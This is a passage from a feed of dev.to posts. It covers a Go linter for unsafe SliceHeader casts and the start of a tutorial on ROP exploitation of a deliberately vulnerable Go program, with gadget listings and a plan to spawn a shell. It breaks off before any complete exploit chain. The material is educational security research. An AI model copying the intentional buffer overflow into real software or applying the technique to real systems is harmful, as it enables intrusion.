&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The takeaway of this should be that it is very very difficult to get this cast right and safe, and therefore this type of in-place cast should better not be used at all.&lt;/p&gt;
&lt;h2&gt;
  
  
  Introducing a static code analysis tool!
&lt;/h2&gt;

&lt;p&gt;Unfortunately, the &lt;code&gt;go vet -unsafeptr&lt;/code&gt; will not catch this common type of &lt;code&gt;unsafe.Pointer&lt;/code&gt; misuse. I developed a Vet-style analysis pass that is able to catch it:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/jlauinger" rel="noopener noreferrer"&gt;
        jlauinger
      &lt;/a&gt; / &lt;a href="https://github.com/jlauinger/go-safer" rel="noopener noreferrer"&gt;
        go-safer
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Go Vet-style linter to find incorrect uses of reflect.SliceHeader and reflect.StringHeader, and unsafe casts between structs with architecture-sized fields
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This linter / static code analysis tool will catch the following situations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;There is a &lt;code&gt;reflect.StringHeader&lt;/code&gt; or &lt;code&gt;reflect.SliceHeader&lt;/code&gt; composite literal. It might also be contained within another composite literal.&lt;/li&gt;
&lt;li&gt;There is an assignment to the fields of a composite object of type &lt;code&gt;reflect.StringHeader&lt;/code&gt; or &lt;code&gt;reflect.SliceHeader&lt;/code&gt;, and that object is not definitely derived by cast.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first situation is fairly easy to detect and almost always unsafe. The linter tool will catch type aliases too. That is, if you define&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;MysteryType&lt;/span&gt; &lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;and then do&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;myHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;MysteryType&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Cap&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="m"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;uintptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;))}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;the linter will catch the &lt;code&gt;MysteryType&lt;/code&gt; composite literal just as if it were a direct &lt;code&gt;SliceHeader&lt;/code&gt; literal.&lt;/p&gt;

&lt;p&gt;The second situation is more difficult. It analyzes all assignments and uses the same mechanism to catch type aliases for the object receiving the assignment as well. To determine whether it is a safe header derived from a cast, the pass depends on the &lt;code&gt;ctrlflow&lt;/code&gt; pass, receiving the control flow graph for the package. It finds the function containing the assignment. Then, starting from the assignment the linter follows the graph backwards to the last assignment to the object of &lt;code&gt;SliceHeader&lt;/code&gt; or &lt;code&gt;StringHeader&lt;/code&gt; type, and determines if that assignment is a cast from &lt;code&gt;unsafe.Pointer&lt;/code&gt;, which in turn itself is cast from a slice or &lt;code&gt;string&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This means it will catch situations like these:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;MysteryStruct&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;MysteryHeader&lt;/span&gt; &lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;myStruct&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;MysteryStruct&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
    &lt;span class="n"&gt;myStruct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MysteryHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="m"&gt;42&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The linter will figure out that the &lt;code&gt;SliceHeader&lt;/code&gt; instance contained within the &lt;code&gt;MysteryStruct&lt;/code&gt; has not been set by a cast and issue a warning.&lt;/p&gt;
&lt;h2&gt;
  
  
  Complete POC code
&lt;/h2&gt;

&lt;p&gt;You can read the full POC code in the Github repository that I created for this post series:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/jlauinger" rel="noopener noreferrer"&gt;
        jlauinger
      &lt;/a&gt; / &lt;a href="https://github.com/jlauinger/go-unsafepointer-poc" rel="noopener noreferrer"&gt;
        go-unsafepointer-poc
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Golang example code showing dangers with unsafe.Pointer usages
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  
  
  Acknowledgments
&lt;/h2&gt;

&lt;p&gt;This blog post was written as part of my work on my Master's thesis at the &lt;a href="https://www.stg.tu-darmstadt.de/stg/homepage.en.jsp" rel="noopener noreferrer"&gt;Software Technology Group&lt;/a&gt; at TU Darmstadt.&lt;/p&gt;

&lt;p&gt;Title picture by Maria Letta. Thanks a lot for her excellent &lt;a href="https://github.com/MariaLetta/free-gophers-pack" rel="noopener noreferrer"&gt;Free Gophers Pack&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Exploitation Exercise with Go unsafe.Pointer: ROP and Spawning a Shell (Part 3)</title>
      <dc:creator>Johannes Lauinger</dc:creator>
      <pubDate>Wed, 27 May 2020 15:07:09 +0000</pubDate>
      <link>https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-rop-and-spawning-a-shell-part-3-4mm7</link>
      <guid>https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-rop-and-spawning-a-shell-part-3-4mm7</guid>
      <description>&lt;p&gt;In this third part, we will see how to take the idea of code flow redirection one step further. We will do an arbitrary remote code execution using the Return Oriented Programming (ROP) technique. In the end, we will reach the classic goal for binary exploitation and run a shell in the program context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Executing code on the stack
&lt;/h2&gt;

&lt;p&gt;Following the last part of the series, you might have thought: what if we pipe actual machine instructions into the program, and then use the address of this machine code on the stack (inside the buffer receiving the input data) instead of the address of the &lt;code&gt;win&lt;/code&gt; function. This way, we could execute arbitrary code of our choice, including just spawning a shell and thus having a universal interface to run more code.&lt;/p&gt;

&lt;p&gt;Indeed, this was possible not too much time ago. One would send the padding necessary to fill up the input buffer and stack up to the stored return pointer, then an address a bit later in the stack, and then the machine code needed to start a shell. If the padding was long enough, it would also be possible to put the code into the padding, reducing the overall input data size.&lt;/p&gt;

&lt;p&gt;Because the stack is always a bit unpredictable (for example, environment variables might get pushed onto the stack and they could be different on each program run), the exact address of the shell code could vary slightly. And if we would miss it by even a byte, the code would become corrupted and stop working.&lt;/p&gt;

&lt;p&gt;To mitigate this, we could send a lot of &lt;code&gt;NOP&lt;/code&gt; instructions (&lt;a href="https://cs.brown.edu/courses/cs033/docs/guides/x64_cheatsheet.pdf"&gt;opcode &lt;code&gt;0x90&lt;/code&gt;&lt;/a&gt;) between the address and the shell code, and then try to jump into the middle of those instructions. This way, we don't have to hit the exact correct byte, instead the exploit also works if we jump to an address that is a few bytes before or after. This is because all possible target addresses (within some range) would be &lt;code&gt;NOP&lt;/code&gt; instructions, and the CPU would just follow along all &lt;code&gt;NOP&lt;/code&gt; instructions until it reaches the shell code and executes it. This technique is called the &lt;a href="https://en.wikipedia.org/wiki/NOP_slide"&gt;NOP Slide&lt;/a&gt;, because the CPU in a way slides down a slope of NOPs.&lt;/p&gt;

&lt;p&gt;The payload that we would inject could look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TEaWWo-q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/payload.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TEaWWo-q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/master/assets/payload.png" alt="Nop Slide Inject Payload"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  DEP and ASLR: mitigations against buffer overflows
&lt;/h2&gt;

&lt;p&gt;Unfortunately, these days it isn't quite that easy anymore. Operating system developers have done a lot of work to implement countermeasures against this simple code-on-the-stack exploit.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Executable_space_protection"&gt;Data Execution Prevention&lt;/a&gt; is a technique which assigns different permissions to the memory pages used by a program. There are pages that can only be read (like literals and constants), pages that can be read and executed (like the program instructions itself) and pages that can be written (e.g. the stack or heap). But the pages that can be written to can not be executed! Different names for this are W^X (write xor execute) or NX (Non-eXecutable memory). This technique has been in use by all major operating systems for years, and it effectively prevents us from writing our code onto the stack and then executing it.&lt;/p&gt;

&lt;p&gt;Another mitigation is &lt;a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization"&gt;Address Space Layout Randomization&lt;/a&gt; (ASLR), which randomizes the addresses of dynamically linked libraries, or maybe even functions inside the binary itself, when loading it into the RAM. This way, we can not use GDB to analyze the binary locally and determine addresses where we might jump to, because on the exploit target (possibly remote) the addresses would be completely different.&lt;/p&gt;

&lt;p&gt;Fortunately for this proof of concept, Go does not really use ASLR. The binaries produced by the Go compiler have deterministic addresses, and at least this small program gets statically linked so there are no dynamic libraries that could be loaded at different addresses. We can see this by running some analysis on the binary file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;readelf &lt;span class="nt"&gt;-l&lt;/span&gt; main

Elf file &lt;span class="nb"&gt;type &lt;/span&gt;is EXEC &lt;span class="o"&gt;(&lt;/span&gt;Executable file&lt;span class="o"&gt;)&lt;/span&gt;
Entry point 0x45d310
There are 7 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x0000000000000188 0x0000000000000188  R      0x1000
  NOTE           0x0000000000000f9c 0x0000000000400f9c 0x0000000000400f9c
                 0x0000000000000064 0x0000000000000064  R      0x4
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000926ad 0x00000000000926ad  R E    0x1000
  LOAD           0x0000000000093000 0x0000000000493000 0x0000000000493000
                 0x00000000000bd151 0x00000000000bd151  R      0x1000
  LOAD           0x0000000000151000 0x0000000000551000 0x0000000000551000
                 0x0000000000015240 0x00000000000414c8  RW     0x1000
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x8
  LOOS+0x5041580 0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000         0x8

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .note.go.buildid 
   02     .text .note.go.buildid 
   03     .rodata .typelink .itablink .gosymtab .gopclntab 
   04     .go.buildinfo .noptrdata .data .bss .noptrbss 
   05     
   06

&lt;span class="nv"&gt;$ &lt;/span&gt;ldd main       
the program is not dynamically linked
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Return2libc
&lt;/h2&gt;

&lt;p&gt;But wait - didn't we in fact execute code in the last part of the series? Yes, we did! But it was code that was already contained in the binary. We executed the &lt;code&gt;win&lt;/code&gt; function that was compiled into the binary. This means that we didn't jump to code that was on the stack (an RW-page), but instead we jumped into the &lt;code&gt;.text&lt;/code&gt; segment of the program where all the other machine instructions live, too (an RX-page).&lt;/p&gt;

&lt;p&gt;By reusing code that is already in the binary, we can defeat Data Execution Prevention.&lt;/p&gt;

&lt;p&gt;A generalization of this technique is called return2libc, where we would now jump to a function contained in the huge C standard library libc. We could e.g. use the &lt;code&gt;system&lt;/code&gt; function that allows us to execute arbitrary commands. However, as mentioned before the binary produced by the Go compiler is statically linked, and it doesn't link against the libc C library. Thus, we cannot use return2libc. And even if it were linked against libc, ASLR would do a decent job at making it very hard to find out the correct addresses of libc functions.&lt;/p&gt;
&lt;h2&gt;
  
  
  Return oriented programming
&lt;/h2&gt;

&lt;p&gt;We need a different approach: Return Oriented Programming (ROP). With ROP, we try to jump into code that is contained in the binary just as with return2libc, but we jump to a location that contains preferably only one or at most a few machine instructions and a return instruction.&lt;/p&gt;

&lt;p&gt;Recall that the return instruction &lt;code&gt;ret&lt;/code&gt; actually is a simple &lt;code&gt;pop $rip&lt;/code&gt;. This means that if we execute &lt;code&gt;ret&lt;/code&gt;, and then another &lt;code&gt;ret&lt;/code&gt;, we will simply fetch the next processor word from the stack and jump to that address. Now, this enables us to chain together small pieces of code by putting the addresses of these code snippets on the stack, one after another. The important requirements for this are that the code snippets end with a &lt;code&gt;ret&lt;/code&gt; instruction, and do not modify the stack pointer &lt;code&gt;$rsp&lt;/code&gt;, because modifying the stack pointer would destroy our chain of code snippets. Using these snippets, we can craft a program almost like manually coding in assembly, but with only a limited set of assembly instructions available (the ones we find in the binary).&lt;/p&gt;

&lt;p&gt;With these code snippets, we can do arbitrary stuff, including calling syscalls. Syscalls give us the power to e.g. read data into a buffer, or change the execution permissions of memory pages used by the program.&lt;/p&gt;

&lt;p&gt;To find suitable code snippets, we can either manually decompile the complete binary (very tedious), or use a helper tool like ROPgadget or Ropper. I used Ropper here:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/sashs"&gt;
        sashs
      &lt;/a&gt; / &lt;a href="https://github.com/sashs/Ropper"&gt;
        Ropper
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Display information about files in different file formats and find gadgets to build rop chains for different architectures (x86/x86_64, ARM/ARM64, MIPS, PowerPC, SPARC64). For disassembly ropper uses the awesome Capstone Framework. 
    &lt;/h3&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;We analyze the short Go program known from the last part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// initialize the reader outside of the main function to simplify POC development, as there are less local variables&lt;/span&gt;
&lt;span class="c"&gt;// on the stack.&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bufio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Stdin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// this is a harmless buffer, containing some harmless data&lt;/span&gt;
    &lt;span class="n"&gt;harmlessData&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// create a slice of length 512 byte, but assign the address of the harmless data as its buffer.&lt;/span&gt;
    &lt;span class="c"&gt;// use the reflect.SliceHeader to change the slice&lt;/span&gt;
    &lt;span class="n"&gt;confusedSlice&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;confusedSlice&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;harmlessDataAddress&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="kt"&gt;uintptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;harmlessData&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harmlessDataAddress&lt;/span&gt;

    &lt;span class="c"&gt;// now read into the confused slice from STDIN. This is not quite as bad as a gets() call in C, but almost. The&lt;/span&gt;
    &lt;span class="c"&gt;// function will read up to 512 byte, but the underlying buffer is only 8 bytes. This function is the complete&lt;/span&gt;
    &lt;span class="c"&gt;// vulnerability, nothing else needed&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;confusedSlice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The following command shows quite a lot of ROP gadgets (snippets) that are contained in our binary:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;ropper &lt;span class="nt"&gt;--file&lt;/span&gt; main &lt;span class="nt"&gt;--search&lt;/span&gt; &lt;span class="s2"&gt;"%"&lt;/span&gt;
0x000000000041996b: adc al, 0&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x000000000042dee5: adc al, 0x1f&lt;span class="p"&gt;;&lt;/span&gt; mov dword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x28], edx&lt;span class="p"&gt;;&lt;/span&gt; mov qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x30], rax&lt;span class="p"&gt;;&lt;/span&gt; mov rbp, qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x10]&lt;span class="p"&gt;;&lt;/span&gt; add rsp, 0x18&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x000000000042da80: adc al, 0x24&lt;span class="p"&gt;;&lt;/span&gt; call 0x2d660&lt;span class="p"&gt;;&lt;/span&gt; mov rbp, qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x40]&lt;span class="p"&gt;;&lt;/span&gt; add rsp, 0x48&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x000000000044ba26: adc al, 0x24&lt;span class="p"&gt;;&lt;/span&gt; call 0x4b190&lt;span class="p"&gt;;&lt;/span&gt; mov rbp, qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x10]&lt;span class="p"&gt;;&lt;/span&gt; add rsp, 0x18&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x000000000046c199: adc al, 0x24&lt;span class="p"&gt;;&lt;/span&gt; call 0x6bec0&lt;span class="p"&gt;;&lt;/span&gt; mov rbp, qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x10]&lt;span class="p"&gt;;&lt;/span&gt; add rsp, 0x18&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x000000000046bffa: adc al, 0x24&lt;span class="p"&gt;;&lt;/span&gt; call 0x6bec0&lt;span class="p"&gt;;&lt;/span&gt; mov rbp, qword ptr &lt;span class="o"&gt;[&lt;/span&gt;rsp + 0x28]&lt;span class="p"&gt;;&lt;/span&gt; add rsp, 0x30&lt;span class="p"&gt;;&lt;/span&gt; ret&lt;span class="p"&gt;;&lt;/span&gt; 
0x00000000004614fa: adc al, 0x24&lt;span class="p"&gt;;&lt;/span&gt; call rcx&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="o"&gt;[&lt;/span&gt;...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Ropper even provides some automated search tools, but in this specific case they couldn't automatically find a complete exploit chain, so I had to dig in using my own hands.&lt;/p&gt;
&lt;h2&gt;
  
  
  POC: Spawning a shell
&lt;/h2&gt;

&lt;p&gt;Putting the ROP techniques from above into play, the plan looks like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set the executable and writable flags for a memory page belonging to the program&lt;/li&gt;
&lt;li&gt;Write some code that spawns a shell into the page&lt;/li&gt;
&lt;li&gt;Jump to that code&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The following steps are based on these excellent blog articles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://0x00sec.org/t/64-bit-rop-you-rule-em-all/1937"&gt;64-bit ROP | You rule ‘em all!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558"&gt;Basic buffer overflow on 64-bit architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell"&gt;A Simple ROP Exploit – /bin/sh via syscall&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Give them a read for even more details on ROP chains and exploit development.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Get a memory page with RWX permissions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To do this, we use the &lt;code&gt;mprotect&lt;/code&gt; syscall. Its man page explains the usage:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;mprotect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;prot&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

